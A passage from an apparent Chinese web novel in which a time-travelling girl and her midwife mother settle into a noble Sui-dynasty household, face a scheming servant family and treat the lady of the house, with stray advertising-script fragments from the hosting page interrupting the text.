介绍完高府主子,又细述高夫人院落内的丫鬟婆子道:“四名贴身丫鬟,分别为我(即杏雏)、秋塘、忆梅、袖莲,均享有一等俸禄;此外,四位资深的管事婆子——郑妈妈、周妈妈、赵妈妈和张妈妈,同样位列一等。” 杏雏介绍的这般详细,此举动,她自有考量。 这些信息早晚会被莫家母女获知,倒不如现在卖她们个好,日后有事也能多份人情。 但这些名字与职位,对于初来乍到的莫家母女而言,宛如一本复杂的人物谱系图,一时难以消化。 察觉到莫氏母女脑中已开始打结,杏雏适时地调整了叙述节奏,暂时略过了那些二等、三等丫鬟,毕竟未来都能渐渐熟知。 介绍完丫鬟,她转而强调道:“夫人最是宽容大度,只一点,容不下背叛。” 言语间,意有所指道,语气中还有些愤恨。 莫氏母女默契地交换了一个眼神,看来另有隐情啊,她们也不多嘴,只静静听她说。 她却不再谈及这个话题,话锋一转道:“你们刚搬来,所需日常物什尽可向赵妈妈问询。 她是夫人院中,采买和管库房的管事妈妈,寻常所需皆可找她,或补缺,或购置都可。” 继而又云:“夫人特示,你们无需每日晨昏定省,侍奉左右。若有急务,自会遣人召之。 饮食方面,早午晚三餐,均有专人送至下人院,不过待你们熟悉后也可自行去大厨房提。” 瞧了瞧四周,她低声对莫氏母女道: “每日菜的样式可多了,虽然份例固定,但去得早有的挑,送到下人院的都是哪样剩的多些,便送了。” 说罢,还对莫氏母女扬了扬眉,一幅除了你们,我谁都没说过的模样。 莫婤忙低首望地,怕脸上没憋住笑,惹她恼怒。 而一旁的莫母,见状却很是上道,点点头,同她一般环顾四周,随即从袖中又抓了一把铜钱塞给他。 整个动作犹如行云流水般顺畅自然,毫无破绽。 刚刚抬首,便目睹这一切的莫婤,不禁再次低首,忍笑的同时,也在反思自己,看来还是她修炼不够,这些都是人情世故啊! 自高夫人院中迈出,历时半个时辰,他们终是转回了下人院。 步入下人院,后罩楼方呈现在眼前。 莫氏母女昨日只大致瞧了她们的屋子,未曾仔细打量这后罩楼。 往里走去,才觉其构造精妙。 后罩楼,虽为两层,却有两排,每排又有大大小小十余间屋子。 普通丫鬟婆子或是两人同居,甚或四人挤上一屋,唯有地位较高的管事或食客,才能独享居所。 莫氏母女的屋子,位于第一批后罩楼,最边上的一间,将屋子的三把铜制钥匙给莫母后,杏雏便告辞了。 8. 入住新屋 开了锁,推门进去,淡淡的沉香味扑鼻而来。 举目望去,这屋子四四方方,正门开在西北角。 一进门,紧挨着的北墙处,靠了一个雕漆螺钿红木三屉箱柜;西面靠墙,立了个枣红漆饰斗柜,斗柜旁是两个同色系的顶立柜;南面还用沉香木镶了个置物的架子。 三面中间,是一个三牙素绛红八仙桌,台面平整,边缘雕琢有祥云图腾,还配了三个夹缬绣墩。 向东,中间空出了一块地,此刻已被莫氏母女带来的各式物件占据,尚未归置,随意摞着,略显杂乱。 最东边,靠墙放了张楠木罗汉床,床上铺了草席,还用稻草和芦苇絮裹了褥子,褥子上还叠着床被子,被子都带着晒过太阳的味道。 床尾,亦有一个沉香木的架子,倚墙而立,上面还放置了三个木盆,两个水桶。 许是因着东西都还未摆好,显得空间极大。 莫婤缓步晃悠了一圈,量度方圆后,想来空间足以,便求着莫母让她独寝。 念及女儿日渐知事,一直与母同睡,不能锻炼其胆量。又思及接生之事多在深夜,现入高府,不愿女儿同这一行再有接触,日后独自前往接生,恐扰她夜间歇息,遂同意了。 只是今日是没法子,临时再弄来一张床榻了,只有明日问过赵大家的,看能不能再搬张小榻来。 正午之际,骄阳似火。 母女二人饱尝舟车劳顿之苦,腹饥肠鸣,幸而还有一罐子酒酿圆子,将温碗中的圆子倒出,竟还是温热的,也不多麻烦了,一人喝了几口,填了下肚子。 餐罢,卸下外衣,裹着被子,二人相偎于罗汉床上,歇了个午觉。 念着屋子还没收拾,也没睡多久,午时刚过,便起身收拾归拢物件了。 斜阳脉脉,金线织就晚霞。 衣袂翻飞间,将衣裳被褥悉数纳入红枣漆饰顶立柜中;沉香木架前,母女二人将粮食、厨具一一归置;装书和药材的箱子,放进了雕漆螺钿红木三屉箱柜,洗漱用具,则归拢在床尾的架子上…… 至此,半日劳累,终将物件都理顺了,记下所缺之物,明日好找赵大家的一并补齐。 暮色四合,炊烟袅袅升起,空气中弥漫着饭菜的诱人香味。 正当母女二人于绣凳上略作休憩,耳畔忽闻一阵吼声,声响足足叫了三遍,都重复着: “用膳啦——” 莫婤明显发现原本寂静的后罩楼一下子活了过来,脚步声,追逐声,还夹杂着孩童们稚嫩的笑声和追逐嬉戏的呼喊,远处似乎还有长辈的训斥声……不绝于耳。 莫婤想着因是送饭的来了,便忙拉着莫母出去。 行至下人院门前,映入眼帘的是三条蜿蜒长龙,人群攒动,各有所属。其中一条尤为壮观,从院门处一直排到了后罩楼。 见状,莫婤不禁疑惑,轻触身旁一位俏皮可爱的小丫鬟,低声询问:“姐姐,这三条队伍何故如此不同?为何不选择人少之处?” 小丫鬟闻言,嘴角扬起一抹温和的笑容,细声道: “看来你们是刚来的新面孔呢。最短的队伍,乃供食客、管事及一等丫鬟享用,地位尊贵;中间这条,专为二三等丫鬟准备;至于我辈,身份卑微,唯有在此漫长的行列中耐心等候。” 得知个中原委,莫娌恍然大悟,原来即便是一餐饭,也高分个三六九等,古代刻板印象再次+1。 感慨之余,她与母亲径直走向那条人数寥寥的队伍,按照惯例报上姓名,随即领取了今日的晚膳。 莫母的份例是两荤菜,一素菜。 因还带着莫婤,量会比旁人多一半,待莫婤也能在府中帮工了,便给她同莫母一样的份例。 又因她还和了高夫人心意,高夫人又特地给她加了一道甜点的份例。 于是她们就领到了一盆米饭,一盘炒杂鱼,一斗碗豆腐白菜汤和一碟五幸盘,还有一盘枣泥糕。 古代豆腐也算荤菜,但看着拇指大小的杂鱼和不成型的边角料豆腐,这荤菜水分挺大啊,难怪杏雏让她们自己去提饭,选好的拿了。 中间的队伍,仅有简陋的一荤两素,主食虽仍是白米饭,但荤菜不过是几片干瘪的油渣拌以青菜,素食也不过寻常的五幸盘和白萝卜汤,远不及己方丰盛。 至于最长的队伍,伙食更加寒酸,仅仅两个粗糙的杂粮馒头,搭配清汤寡水的菜肴,只够充饥。 对比了其他两条队伍的菜,莫婤算是彻底醒悟了。原本还想着躺平享受,现在看明白了,连吃饭都这么讲究等级,咱怎能甘心落于人后呢? 于是乎,她突然食欲大增,一面狼吞虎咽,一面重拾斗志,她要让自己在今后不仅要吃饱,还要吃好,吃得有面儿! 随着最后一缕余晖隐没,各路丫鬟婆子纷纷卸下了日间的劳碌,从各自所属的宅院悄然退场,汇聚于此。此番景致,恰似繁星归巢,将这片静谧之所装点得分外温馨而热闹。 莫氏母女不知道的是,她们作为新搬入的食客,已成了后罩楼内茶余饭后的焦点。 或是在领饭时的偶然相遇,抑或是人脉网络的神奇运作,她们屋中陆陆续续多了许多访客。 第一个前来的,是邻居王妈妈。 王妈妈是高老夫人府中负责花草的管事,嫁给了府中管车马的孙管事。 高府中,一般成亲的管事,都会自己在外买处院子,搬出去住。 毕竟在大户人家做到管事,手中买处宅院的钱还是有的,而且主子们还会赏一笔搬家费,受重视的管事,赏的搬家费就够买一处宅院了。 莫婤想着,等莫母在高府站稳脚跟后,她们也是要搬出去的,更宽敞也更自在些,有高府做靠山,也不怕再遇到第二个王二。 况且她还想买间铺子,开个接生馆,莫母现在不让她接生,待她开了接生馆,自己能把日子过红火,莫母应就不会再阻止了。 她可是有将接生馆开遍长安城的宏图伟业啊,断不能只是嫁人,被困于一方天地! 王妈妈是家生子,双亲去了,也无手足;孙管事高府在马行买来的管事,亦是孤儿。 或是因着孤身一人太久,他们爱闹厌静,便筹划着,待生下一儿半女再搬出去。到时买几个丫鬟婆子,白日他们当值就让丫鬟婆子看管孩子,晚上回去,一家人也能热热闹闹。 谁知,现成亲已有五年了,王妈妈竟还未曾有孕。 王妈妈手捧一小瓷罐,内盛自制豆腐乳,香气袭人;莫母,则以自家醪糟酒酿回礼。 交谈间,王妈妈对种草弄花颇有心得,侃侃而谈;而莫母,之前也爱在自家小院中种些药材香料。 二人相见恨晚,以种植为桥,共话农桑。 而莫婤则是对种植很感兴趣,毕竟每个种花国人们的基因中都自带种田属性!她静立一旁,聆听教诲,时而颔首微笑,时而凝眉思索,偶有所得,即刻默记于心,生怕听漏听岔。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 约莫聊了两刻钟,见又有人敲门,王妈妈方起身告辞。 敲门的是武娘,吴氏。 她也是高夫人特意重金请回来的食客,专门负责高夫人出门时的安全,毕竟女子更便于贴身保护。 莫婤仰头望了望,吴娘子近六尺,是一名高大娘子,身着束腰紧衣,下着半膝长裙,裙下是条马裤。 她性子也是热情爽朗挂的,对极了莫母的口味。而且她们同为食客,在高府中是同一立场。 而莫婤在得知高氏会武时,就双眼一亮,心中直呼:“姐姐好飒!” 若有机会,她也想习武,不说上阵杀敌,至少能在这乱世有自保的机会,毕竟大隋绞肉机名不虚传,永远不知意外和绞肉机哪一个先到! 因着对吴娘子会武有天然的崇拜,莫婤对她很是殷勤,一面甜甜地喊吴姐姐,一面忙让她进屋坐着唠。 莫母见她如此喜欢吴娘子,对吴娘子也更亲近了两分,拉着她坐到了绣墩上。 “我与你娘一般大,唤我吴姨吧。”吴娘子坐稳后,掐了一把莫婤笑得红红的小脸,将她抱到了腿上坐着。 吴娘子讲了些平日同夫人出府时,遇到的奇事。 如哪座山上有山贼,哪间寺庙不干净,谁家客栈做皮肉买卖,谁家院子有暗道…… 莫婤听得津津有味,还不时附耳追问:“真的?怎么传出来的?” “都是真的,我亲眼所见,真假自由心证。”吴娘子亦低声回道,说罢还对着她扬了扬眉。 见她似桩桩件件都信了,莫母扯了扯她的小耳朵,一脸无奈地笑着。 吴娘子原送了她们一套护膝护腕,见莫婤对江湖中事和打打杀杀如此感兴趣,又送了她一支飞镖,开了刃,锋芒毕露。 莫母回了一瓶她精心调制的药油,药油用得都是好药材,呈琥珀色,涂之能舒筋活络、疗伤止痛。 临走前,高氏手中多了两件精美绝伦的织物: 一方绣帕,一袋荷包。 前者绘有童子戏鲤之趣,寓吉祥如意,福泽绵长;后者缀以玉兔捣药之姿,寄平安康泰,岁月静好。 “高夫人还有一食客,是宫里出来的绣娘,晚娘,她人也极好,只是怕生了些,只敢让我转赠此物。”吴娘子有些无奈地笑着,摇了摇头道:“绣帕是祈福产房祥瑞,护佑新生,荷包是绣给小婤玩儿的。” 说罢便将绣品塞到了莫母手里,莫母见状,忙转身扯了一大张桑皮纸,裹了满满一袋决明子,作为回馈之礼。 决明子,清热明目,养生佳品,很适合日日累眼的绣娘。 见吴氏接过,莫母方道:“晚娘既感羞涩,我们也不便贸然打扰,日后总有机会熟识的。今次,只得再劳烦吴妹子传信,谢其深情厚谊。” 莫氏母女二人皆起身,送吴氏出门。 推开门扇的刹那,一阵冷风啸过,吹得她们睁不开眼,待目光重新聚焦,吓了她们一跳。 门外竟直直立着一大一小两人,瞧着也是母女俩。 年长些的是一约三十许的妇人,容貌端正却带着几分不容忽视的凌厉之气,紧随其侧的女童,则显得稚嫩而无辜。 吴氏目光在对方脸上停留片刻,看清了来的人,也不走了,依靠在木门上,双手环胸,随后嘴角勾勒出一抹耐人寻味的假笑。 因是认识的,但瞧吴氏这防备状态,似乎是来者不善啊! 莫氏母女心中暗自升起了防备…… 9. 晚娘社恐 只见那妇人指尖微动,掏了女童一下。 那女童身形一矮,“砰——”的一声,双膝落地,跪向莫母磕头: “师傅在上,请受徒儿一拜。” 这一幕,宛如戏台上的精彩桥段,看得莫婤目瞪口呆,她从未见过如此直接草率的拜师,脑海中涌现无数问号。 而在一旁,吴娘子眼眸中闪过凶光,压抑着怒火沉声道: “果然,又是这套把戏。” “可以啊!”面对这般冒昧地拜师,莫母先是愕然,随即答应到。 “顺娘……”吴娘子闻言,心中警铃大作,急忙欲加劝阻。 然,莫母轻轻抬掌阻止她,并继续说道:“你们准备用何拜师呢?” 她笑吟吟地询问,语气温和,却眼神锐利,目光紧紧锁定着这对奇异的母女组合,仿佛早已洞悉一切玄机。 此刻,四周寂静如初,唯独三人间流转的气流变得微妙起来。 忽地,这妇人退身出去,弯腰搬进一小罐酸黄瓜,递给了女童。 女童还跪着未起身,将罐子举到莫母胸前道:“小小心意,不成敬意,望师傅垂怜收下。” 然而,莫母并未立即接下,她微微颔首,目光却犀利了几分:“不收!昔孔子收束脩,尚需十条肉干以为礼数①,今日你欲拜我为师,仅凭此物,诚意不足!” 妇人闻言,面色陡变,显然未料到莫母竟以此为由拒绝。 正当女童因年幼无知,未能立刻回应之际,妇人气急败坏道:“你能和孔夫子比吗?别给脸不要脸,拜你为师都是抬举你了。” 莫母听罢,神色骤冷,言语中也带出些泼辣:“既然这么看不上我,别来拜师啊,讨人嫌,滚。” 说罢,她一把提起跪在地上的女童,把她塞进妇人怀中,就要轰她们出去。 “你这不识好歹的贱人,我真是给你脸了。”这妇人自是不肯罢休,见状,上手同莫母撕扯起来。 夹在莫母和妇女中间的女童,因着个子矮,莫母无暇顾及她,她就也趁机帮着她娘往里推莫母。 “吴姐姐,帮忙。”莫婤反应过来后,拉这一旁惊呆了的吴娘子,冲了上去,加入了战局。 她人也矮,便专心拉住中间的女童,将她往外扯。 这女童瞧着跟莫婤一般大,身形纤细,却极有劲,莫婤一时未能将她拽动。 正当局势胶着之时,莫婤灵光一闪,计上心头。 她转攻女童腋下和腰间,挠她痒痒,仗着手更长,也不怕痒的优势,拉着她狂挠。直将她挠得脱了力,再一把将她拖了出来,搡出了门。 正巧,吴娘子一个反手,也帮着莫母将那妇人押出了门。 “砰——” 大门一关,将奇葩母女俩挡在门外后,世界仿佛都清静了些。 莫婤正要松口气,门外传来那妇人不依不饶的声音:“开门啊!开门啊!新来的食客瞧不起人,言而无信,见钱眼开!答应收我女儿做徒弟,又瞧不上我们穷人!” 她一面拍门,一面大叫,声音又响又尖,穿过木门,刺得莫婤脑门疼。 莫母豁然起身,开门,端起门旁斗柜上还未来得及倒的洗碗水,泼了上去。 女童反应极快,一个转身便躲过了,留她母亲被泼了个正着,脸上、身上全是流油的汤水。 莫母泼完,又极快地关了门,隔着门骂道:“疯婆子,别来我这儿发癫,我可不怕你闹,再拍门,下一盆就是滚水!” 门外的妇人听罢,终是不拍门了,但也不走,就地开始打孩子。 “你这个死孩子,自己躲也不拉老娘一把!” “真是笨,真是笨,没点用!” “人家都不收你,你活着有什么用,怎么不去死!” 妇人一面打,一面骂,门外的女童发出来一声声哀嚎和哭喊: “师傅救我!师傅救我!” 连一旁的吴娘子听着都面露不忍,随即似又想到了什么,面容又冷峻了起来。 莫母听了更来气了,怕用开水烫伤她们,被讹,又将打来洗漱用的水接了一盆。 打开门,对准她们,又泼了上去。 门外,母女二人正演绎得如火如荼,也没注意,都被泼了个正着。 “别在我门口演,你今个就算把她打死在我门前,我也不会收。待明日我定会问问高夫人,尔等是何方神圣?到时若被高夫人发卖了,以儆效尤,可不够我心狠!” 说完,也不等她们回应,关紧了门。 似是见莫母心肠这般硬,门外的母女俩不再做无用功,走了。 终是轰走了这对母女,莫婤环顾战场,发现酸黄瓜她们是没落下,还顺走了屋里放在门旁斗柜上的木梳。 这时,还没走的吴娘子,拉着莫母开始讲述,她与这位母女的初识。 原来,她与晚娘都是苦主! 她一来也是被这对母女缠上了,当时小姑娘一跪下哀求,她便心软收下了这个徒弟。 结果这女娃根本不学,还日日在她房中蹭吃蹭喝。最过分的是,偷拿她房中的东西,被吴娘子当场逮到,也不怕,开口就让吴娘子送她。 吴娘子气不过,直接找她娘说,这女娃当着吴娘子的面信口开河,说明明是吴娘子送她的,还陷害她偷东西。 吴娘子见她这般,不愿再教她,她娘便来吴娘子房中闹。 她们打不过吴娘子,被赶了出去,便在下人房中败坏她的名声。 说她爱抠脚挖鼻,从不洗澡;说她是男人婆,没人要;甚至还说她是石女,生不出孩子…… 后来,晚娘来了后,她们也这般做派,晚娘在宫中多年,一眼便看穿了她们的意图,坚决不肯收下她,她们便日日痴缠着晚娘。 宫中都是暗箭伤人,极少有这般明面上没脸没皮的,扰得晚娘自此害怕出门。 好在,晚娘还算有些计谋,让高夫人撞见她们一面缠着她,还一面辱骂她的场面。 高夫人将她们狠狠训斥后,晚娘才摆脱了她们。 吴娘子本以为被高夫人警告后,她们不敢再犯,方才便没说。 哪知,她们又故技重施。 “你们就是脸皮太薄,明日我便直接跟夫人说,这种刁奴,留在高府只会坏了家风。”莫母听后,更坚定了禀告高夫人的念头。 如今小祸不除,来日必成大患。 送走吴娘子,莫氏母女就着不多的热水,简单洗漱后,便歇息了。 明日夫人虽说不用去当值,但莫母仍是要去的。即便无接生重任加身,新生幼主降临人间,正是母体需精心呵护之时,她必得前往问安,细细诊察夫人脉象,调养身体。 今晚上又出了这么一档子事,明日更要好好表现一番,才好开口啊。 莫婤自是赞同娘亲的打算,但她原本是不准备去的, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她人小,能做到有限,不如躺平。 然,晚膳“三六九等”的安排,以及刚刚那出闹剧,都让她决定明日再去夫人房中转转,看有什么能改进的,刷刷存在感,提升夫人心中的隐形地位,获取夫人信任,待她再大些,便能直接在夫人身边挑大梁。 寅时方歇,天际一线曙光悄然攀爬,东方渐染微霞。 莫婤揉着眼醒来时,莫母已经将早食都提了回来,烧了火炉子正温着。 两个肉油煎得两面焦黄的饵饼,一斗碗熬得绵密浓稠的白粥,一盘清炒豆芽,一碟鸡蛋炒苦瓜。 三下两除二梳洗后,坐到绣桌上同莫母用早膳。 一面吃,一面求莫母给她做套洗漱用的牙具。 莫母受不住她痴缠,在昨日查漏补缺的清单上,又加上了她要的牙具。 今日算是正式上工的第一日,莫母穿了半新的,带竹叶印花的水绿交领短襦,下身配着京绿长裙,梳双长髻,还掏出了压箱底的金镶玉钗,看着清新淡雅,让人眼前一亮。 莫婤则仍是走可爱路线,穿着莫母给她新做的酪黄圆领窄袖衫,搭配着藤黄色长裙,梳着花苞头,花苞头上还缠了红绸,像极了年画娃娃,颈上戴着昨日高夫人赐的银项圈。 收拾妥当后,母女俩到了夫人院中。 刚巧,夫人也刚用完早膳,正同袖莲研究收腹带。 收腹带本就须两人同时为夫人穿戴,最为妥当。见此,莫婤极有眼力见儿,忙净了手,上前帮忙。 她也未在袖莲这个穿戴新手面前,故意表现,只帮袖莲将夫人未复位的子宫往上拨,方便袖莲穿戴系带。 这玩意看着复杂,只要掌握窍门,并不难。 袖莲起初还有些忙乱,待多绑上两个交叉结后,明显熟练起来。 “哇,夫人,你看袖莲姐姐,又快又稳,好厉害啊。”莫婤适时地鼓励袖莲,还帮着她向夫人表功。 待袖莲绑好后,夫人笑着坐起身,戳了戳莫婤的脑门:“小滑头,这般仰慕你袖莲姐姐,那何不与她亲近亲近?” 夫人打趣着莫婤,说着还将她推向了袖莲。 莫婤闻言,也不害羞,拉了拉袖莲的手,见她没有抵触,便贴进了她怀中撒娇。 袖莲似对这份亲近亦是欢喜,她甚至蹲下身来,贴了贴莫婤粉扑扑的小脸。 “啊!美女姐姐!香香!贴贴!” 莫婤窝在袖莲的怀中,内心发出欢快的尖叫! 有谁不爱跟香香软软的美女姐姐贴贴啊? 莫母在一旁,见是夫人提出的,也不好阻止,只是一脸黑线,她女儿怎么像个小色鬼!就爱美人! 这时的莫母,还不知道颜控这词,只觉女儿格外喜欢长得俊俏的,甚至还忧愁了一下,她好颜色,将来易被骗。 正当此时,秋塘手捧叠纸步入里间,莫婤方自袖莲怀抱中抽身,眼尖见之,急唤道:“秋塘姐姐别吃醋,我也很是钦慕你的,你也可以和我贴贴!” 秋塘闻声一怔,反应过来后,旋即双颊染霞,恍若晨曦初照,绯云点缀。 莫婤好似发现了新大陆,秋塘姐姐居然是个会脸红的大直女!哇,更好玩了! 心中正大呼有趣,高夫人见秋塘害羞了,忙转移话题道:“罢了,不逗她这木头,秋塘拿的甚?呈上吧。” 见高夫人有正事,莫婤收敛玩兴,乖巧地回了莫母身边,不再插科打诨。 10. 疑云顿升 秋塘稳住心神,缓步趋前,双手奉上,恭敬递至高夫人面前。 脸上的红晕,如同晚霞渐隐,恢复了往日的端正沉静。 高夫人微微颔首,接过后,玉指轻挑,一页页翻阅,面色渐沉。 “哼,一个个胆子养得心忒大了些,继续查,我倒要看看,还有多少腌臜事!” 高夫人冷哼一声,撂了手中的东西,转首望向莫婤, “小婤,可还记得我临盆那日,你前往大厨房后,发生了何事?” 莫婤见素来温和的夫人罕见愠怒,心下已对秋塘呈上的是何事,猜了个七七八八。 见夫人如此说,遂将当日所见所闻,一五一十,如实禀告,还特意点出了厨房中,厨娘婆子们那段闲言碎语。 果不其然,待莫母听完,她转述的,仆妇们私语的细节后,心头顿生疑窦,旋即向夫人确认。 高夫人虽不知缘由,亦坦诚地答道:“确有其事。” 闻言,莫母神色陡变,将其中厉害关系,向高夫人一一剖析,字字珠玑,直指要害。 这般杀人不见血的手段,让高夫人脊背生寒,心中暗自庆幸,留下莫母,实乃明智之举。也是高夫人年岁尚浅,未曾经历过生孩子,又没有一个衷心的稳婆告知,对此领域认知颇显单薄。 须知,产房历来被视为女性生死攸关之所。在此紧要关头,一位技艺精湛的稳婆,既能从死神手中抢命,更能有效防范恶徒阴谋算计。 “秋塘,叫上杏雏,彻查此事。必要揪出幕后之人,此人这般心狠手辣,留不得!” 高夫人吩咐完秋塘后,又对收拾梳妆台的忆梅道: “将我那只,孔雀绿的翡翠步摇,翻出来。” 忆梅闻言,躬身寻觅,不一会便取了只长方锦盒,里面闪烁着一支飞蝶样式的翡翠步摇,光彩夺目,若晨曦初照中振翅欲飞的灵禽。 遵照夫人的意思,忆梅端详莫母片刻,将步摇插在了合适的位置。 见莫母面上有些犹豫,夫人又出言安她的心:“前日,我临盆之际全靠你,那几两红封哪够?今日又多亏你告知其中祸端,该赏。” 言罢,她瞧了瞧莫婤戴着的银项圈,又补充道: “我这些玩意年年换新,旧物多分予你们,平日里戴着,我见之亦赏心悦目!小婤,今个搭配的就不错。” 一旁的莫婤,正欣赏着莫母发间的步摇,突然被提及,没反应过来,只下意识的对着夫人甜笑。 “呵呵——” 高夫人见莫婤呆呆的模样,笑着让袖莲取了一枚银裸子,要塞进莫婤手中。 银裸子,月宫玉兔形制,约莫一两重。 昨日,她方领了赏赐,今日家母又有所得,夫人竟还要给她赏钱! 虽然漂亮的古董首饰,她很喜欢。但对于有开接生馆这宏愿的她,银钱才是刚需啊! 然,她自觉今日未有出力,故而口中连连推辞,手亦将赏银推回。 那一瞬,她仿佛还身在现代,回到了儿时春节。 春节里,长辈们塞给她压岁钱,她当着父母的面总是要习惯性“不要——不要——”地推拒一番。 一时忘了这是古代,是主子的赏赐,就如打工人的绩效,自是无需客气的。 莫母也是如此,虽亦觉受之有愧,却也未推诿。 心中暗叹一声,她也反应过来自己举止,却有些不合时宜,但那份来自现代的习惯,只能在一朝一夕中尽量改。 收下玉兔银裸子,端正自己牛马的态度,她默默为自己加油打气:努力攒银子,争取早日成为拥有牛马的人。 见莫婤收下赏赐,高夫人便又同莫母细语起来,谈及产后调养的诸事。她静立一旁,耳闻心受,将现代所学知识与之古法相印证,以求完备。 同时,亦不忘留意时辰,窥视日影,约莫已过一时辰,她便轻声提醒高夫人,卸下束腹带。 “嘶——” 只见高夫人面色苍白,眉头紧锁,甚至直不起腰,显露出难以忍受之状。 原是,高夫人在卸下收腹带时,举起的双手蜷着,不慎碰到了胸部。 凝眸细察,莫婤心中暗自估计道:应是涨奶了。 “夫人,涨奶疼得这般严重?”莫母亦是一眼瞧出不妥,忧心忡忡地问道。 “确是如此,热敷也不抵用,夫人脸皮薄,未曾向您提及此事。”身旁的周妈妈忙解释道。 原来,自昨日起,高夫人胸痛已隐约不适,直至清晨痛楚加剧,碍于矜持,始终缄默不语。 “夫人无须羞涩,此类情形我等司空见惯,实属寻常。” 莫母安抚道,又继续询问周妈妈: “可曾服过药?” “既未问过您,也未求过医者,自是不敢擅自用药的。”周妈妈细细答道。 听罢,莫母让其告知赵妈妈,找些益母草、通草、贝母、白芷、茯苓等药材,她要为高夫人调理玉房。 待药房送来的间隙,莫母亦并未闲坐,她欲以按摩之术为高夫人通乳。然高夫人未曾经历此等场面,心中颇为扭捏,迟迟未能应允。 莫婤见此僵局,恐久拖不利,遂毛遂自荐。 见莫母这般严肃,又见莫婤还是一团孩子气,高夫人心中稍安,遂点头应允。 莫婤先以清水净手,虽未留指甲,亦将指缝细细搓洗,又命周妈妈取来甜杏仁油。 幸而,隋朝已有甜杏仁油,虽多用于大户人家之饮食,却亦能滋润肌肤,于按摩之时增添舒适之感。 待手润油后,莫婤又备一小碟甜杏仁油于旁侧。 一切就绪,屏退左右,在莫母的指导下,她轻启手法,为高夫人通乳。 她一手轻抚玉房之上,自边缘缓缓向中心螺旋推进,轻柔按摩。寻至乳腺堵塞之处,以拇指食指轻压,而后缓慢向外滑动,反复多次,直至堵塞渐松。 此过程虽疼痛难忍,高夫人却紧咬牙关,汗如雨下,未曾出声。 莫婤初时装作生疏,待莫母讲解完一周后,手法逐渐变得熟练,动作亦愈显流畅。 站在一旁的莫母,看着莫婤甚至过于娴熟的手法,心中美道:不愧是我的女儿,就是有天赋。 油尽之时,莫婤不顾莫母之审视,将油倒入掌心,暖热后继续按摩。 愈发找回手感后,她亦有余裕关怀高夫人。 见高夫人仍忍痛凝神,莫婤便与之闲聊,以分散其注意力。她轻声细语,言谈间带着一丝俏皮,使得高夫人紧绷的神经渐渐放松。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “夫人,您可知这甜杏仁油,不仅可润肌肤,更有养颜之效。”莫婤边按边说,声音柔和。 高夫人微微一笑,虽疼痛未减,却也愿意搭话:“哦?是吗?那日后得多用些。” 莫婤点头,继续道:“那是自然。夫人肌肤如雪,若再以杏仁油滋润,定能更加光彩照人。” 高夫人闻言,心中一暖,疼痛之感似乎也减轻了几分,她轻声道:“小婤的小嘴,倒是越发甜了。” 莫婤抿唇一笑,手下的动作却更加轻柔,见高夫人愈加放松,她又试探性地问道: “夫人,奶水如此丰沛,何不亲自哺育小公子?俗语云:‘有奶便是娘’,亲喂之情,岂不更甚?亦能缓解涨奶之苦。” 在古代,大户人家多有奶娘代劳,鲜有亲自喂养者。然而,母乳之珍贵,非但与婴孩所需营养相契合,疏通涨奶,更有益于母子之情。 虽知高夫人一时难接受此念,莫婤仍需一提,以期万一。 “历来皆由奶娘代劳,此等说法,我实未听闻。”高夫人面露疑色,言语间带着几分疑惑。 但转首瞧见莫婤稚嫩的模样,高夫人只当是孩童之语,并未深究。 然某些念头,常在不经意间,于心田悄然生根。 莫婤所扮演的,正是那播种之人。 莫母见高夫人未加责怪,只是轻轻拍了拍莫婤的头,未曾斥责她的多言。 毕竟,莫母的两个孩子都是她亲自喂养的,虽是不愿浪费银子,但也确实亲历了自己喂养的好处。知大户人家的习惯,她便未曾提出这种说法,但她却不会阻止莫婤,她从未想过扼杀孩子好奇多思的天性。 按摩了约莫两刻钟的功夫,赵妈妈已将莫母要的药材都备齐了。 高夫人院中,小厨房与茶室比邻而立,都可用于熬药。 然而,莫母想到,药汤之气浓郁非凡,若在茶室熬制,恐怕会沾染了茗茶,故而提议前往小厨房,既可熬药,亦可为高夫人搭配一番午膳。 高夫人听后亦颔首赞同,吩咐一旁的周妈妈:“你领顺娘前去小厨房,让厨房诸人皆听她使唤。” “夫人,我也愿往!我熬药可有一手了!”莫婤听着能去小厨房,亦兴奋地向高夫人毛遂自荐,争取自己也能讨到一份活计,有些工钱。 “夫人,婤婤熬药最是稳妥,交给她坏不了。”莫母也骄傲地挺起胸,在一旁帮腔。 高夫人闻言,眸中笑意盈盈,点点莫婤的小鼻子道:“好,交给你,熬好了我还有赏。” 听见还能领赏,小财迷莫婤眼睛都亮了,乐颠颠地跟着母亲去了小厨房。 一步入小厨房,琳琅满目的食材陈列眼前,尤其是对于穿越而来、久未尝鲜的莫婤而言,犹如饥渴的沙漠旅人,偶遇绿洲,眼都放着幽绿的狼光。 尤其各式各样的肉类食材,对于莫婤这种肉食动物,更是诱人。 看到每样肉食,她都在脑子里,全自动将它们翻译成了菜品,还是附带制作过程的纪录片。 红袍加身,是蜜汁叉烧;黄金甲胄,是脆皮烤鸭;满堂红,是辣子鸡;还有那小羊排、羊杂汤、梅菜扣肉、红烧狮子头…… 眼见着,口水都快滴到菜上了,莫母将她按在了熬药的灶台上。 11. 产后药膳 莫婤根本坐不住,左顾右盼后,附身对莫母耳语道: “阿娘,日头不早了,先做午膳罢!我们做药膳,既对夫人身子有益,又能献出我们新奇的本事。” “你就是个小人精,不过为娘也是这般想的。” 莫母勾勾她下巴,称赞道。 问过周妈妈,夫人素日的饮食好恶,母女二人就忙活开了。 灶台上,一脸若银盘,身形却纤细的妇人,正在压豆腐,颇有豆腐西施之态。 颜控的莫婤,软糯地问道: “姐姐,能给我一块豆腐吗?” “小娘子,唤我付娘子便可,巴掌大可足?”付娘子笑着问道。 见她颔首,便从橱柜中抽出一根丝线,不停地来回拉动,割下了的豆腐,动作不慢,边缘却平滑美观。 豆腐西施,用的竟是线割法。 线割法是用丝线、细麻绳等,摩擦产力,将豆腐分离。这种方法,比起刀切,更能保留豆腐的原汁原味,以及嫩滑质感。 惊叹了付娘子的线割豆腐,她又找一旁膀子浑圆的祝大娘,斩下一脔五花肉,剁成肉糜。 用豆腐、肉糜,辅之养生三宝——红枣、枸杞子、黄芪,她要做一道酿豆腐。 在现代,每次去父母各自家中,她都得帮着做一大家子的饭,心中憋屈,她便研究起难吃的药膳。 结果,活是没推掉,药膳做得愈发好,纯属自讨苦吃。 没想到这技能,穿越还能再用上。 